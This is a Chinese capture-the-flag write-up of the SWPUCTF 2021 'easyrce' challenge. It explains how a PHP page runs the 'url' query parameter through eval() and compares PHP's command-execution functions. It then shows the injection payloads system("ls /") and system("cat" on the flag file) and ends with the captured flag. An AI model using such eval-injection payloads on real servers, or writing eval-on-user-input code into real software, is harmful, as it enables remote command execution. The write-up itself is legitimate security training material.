[SWPUCTF 2021 新生賽]easyrce-解題思路


一、對于題目環(huán)境中函數(shù)的一些理解:
1. 屏蔽所有報錯信息的函數(shù)。
? ? error_reporting(0);?
2. 對文件進行語法高亮顯示的函數(shù)。
? ? highlight_file();
3. 環(huán)境中重要的代碼段。
? ? if(isset($_GET['url']))? ?
? ? #isset函數(shù)用來檢測url變量是否存在;$_GET函數(shù)獲取變量數(shù)據(jù)
? ? {
? ? eval($_GET['url']);? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? #eval函數(shù)用來執(zhí)行參數(shù)數(shù)據(jù),并返回結(jié)果,其中字符串當作PHP代碼來執(zhí)行。
? ? }
二、解題思路:
重要代碼段為一中的第3點,我們用來側(cè)重分析。
? ? if(isset($_GET['url']))? ?
? ? {
? ? eval($_GET['url']);? ? ? ?
? ? }
if判斷語句告訴我們,如果存在url變量則往下面執(zhí)行eval函數(shù),執(zhí)行參數(shù)并且返回結(jié)果。
這里我們需要用到執(zhí)行外部命令函數(shù)(有四種方法):
知識補充:
1. exec 執(zhí)行系統(tǒng)外部命令時不會輸出結(jié)果,而是返回結(jié)果的最后一行,如果你想得到結(jié)果你可以使用第二個參數(shù),讓其輸出到指定的數(shù)組,此數(shù)組一個記錄代表輸出的一行,即如果輸出結(jié)果有20行,則這個數(shù)組就有20條記錄,所以如果你需要反復(fù)輸出調(diào)用不同系統(tǒng)外部命令的結(jié)果,你最好在輸出每一條系統(tǒng)外部命令結(jié)果時清空這個數(shù)組,以防混亂。第三個參數(shù)用來取得命令執(zhí)行的狀態(tài)碼,通常執(zhí)行成功都是返回0。?
????#示例代碼:
? ? ?? <?php
? ? ? ? ? ?echo exec("ls",$file);
? ? ? ? ? ? echo "</br>";
? ? ? ? ? ? ? ?`print_r($file);`
? ? ? ? ? ? ?>
? ? #輸出結(jié)果:
? ? ? ? test.php
? ? ? ? Array( [0] => index.php [1] => test.php)
2.? passthru與system的區(qū)別,passthru直接將結(jié)果輸出到瀏覽器,不需要使用 echo 或 return 來查看結(jié)果,不返回任何值,且其可以輸出二進制,比如圖像數(shù)據(jù)。
? ? #示例代碼:
? ? ? ? <?php
? ? ? ? ? ? passthru("ls");
? ? ? ? ?>
? ? #輸出結(jié)果:
? ? ? ? index.phptest.php
3.? system和exec的區(qū)別在于system在執(zhí)行系統(tǒng)外部命令時,直接將結(jié)果輸出到瀏覽器,不需要使用 echo 或 return 來查看結(jié)果,如果執(zhí)行命令成功則返回true,否則返回false。
? ? #示例代碼:
? ? ? ? <?php
? ? ? ? ? ? system("ls /");
? ? ? ? ?>
? ? #輸出結(jié)果:
? ? ?binbootcgroupdevetchomeliblost+foundmediamntoptprocrootsbinselinuxsrvsystmpusrvar
4.? 反撇號和shell_exec()函數(shù)實際上僅是反撇號 (`) 操作符的變體。
? ? #示例代碼:
? ? ? ? <?php
? ? ? ? ? ? echo `pwd`;
? ? ? ? ?>
? ? #輸出結(jié)果:
? ? ? ? /var/www/html
參考地址:https://www.cnblogs.com/gaohj/p/3267692.html
原文鏈接:
http://www.cszhi.com/20111212/php_exec_system_shell_exec_passthru.htmlhttp://www.cszhi.com/20111212/php_exec_system_shell_exec_passthru.html
由此可以得出方法3外部執(zhí)行命令函數(shù)更符合我們題目的要求。
三、開始解題,拿flag:
1. 首先構(gòu)造payload,并進行url地址重放:
? ??url=system("ls /");
? ? #?代表拼接
? ? #ls /代表列出目錄文件,學過Linux系統(tǒng)的大部分都有所了解。
? ? #代碼意思是將外部執(zhí)行命令ls /的結(jié)果賦值給url變量,最后在瀏覽器中顯示結(jié)果。
? ? #注意以;英文分號進行閉合。
回顯結(jié)果:
? ? bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
? ? #發(fā)現(xiàn)除了flllllaaaaaaggggggg文件以外都為目錄文件,所以猜測flllllaaaaaaggggggg文件中可能包含flag信息。
需注意的是:
? ? ?url=system("ls /"); > ?url=system("ls%20/");
? ? #我們的代碼重放后發(fā)生了變化,是因為重放后瀏覽器自動進行了url編碼!
2.使用cat命令查看flllllaaaaaaggggggg文件中的命令,需注意的是文件在/根目錄下:
? ? ?url=system("cat /flllllaaaaaaggggggg");
3、進行重放回顯flag:
?????????NSSCTF{aa00240d-6bef-4dcd-903f-6a2a26809570}
[SWPUCTF 2021 新生賽]easyrce-解題思路的評論 (共 條)
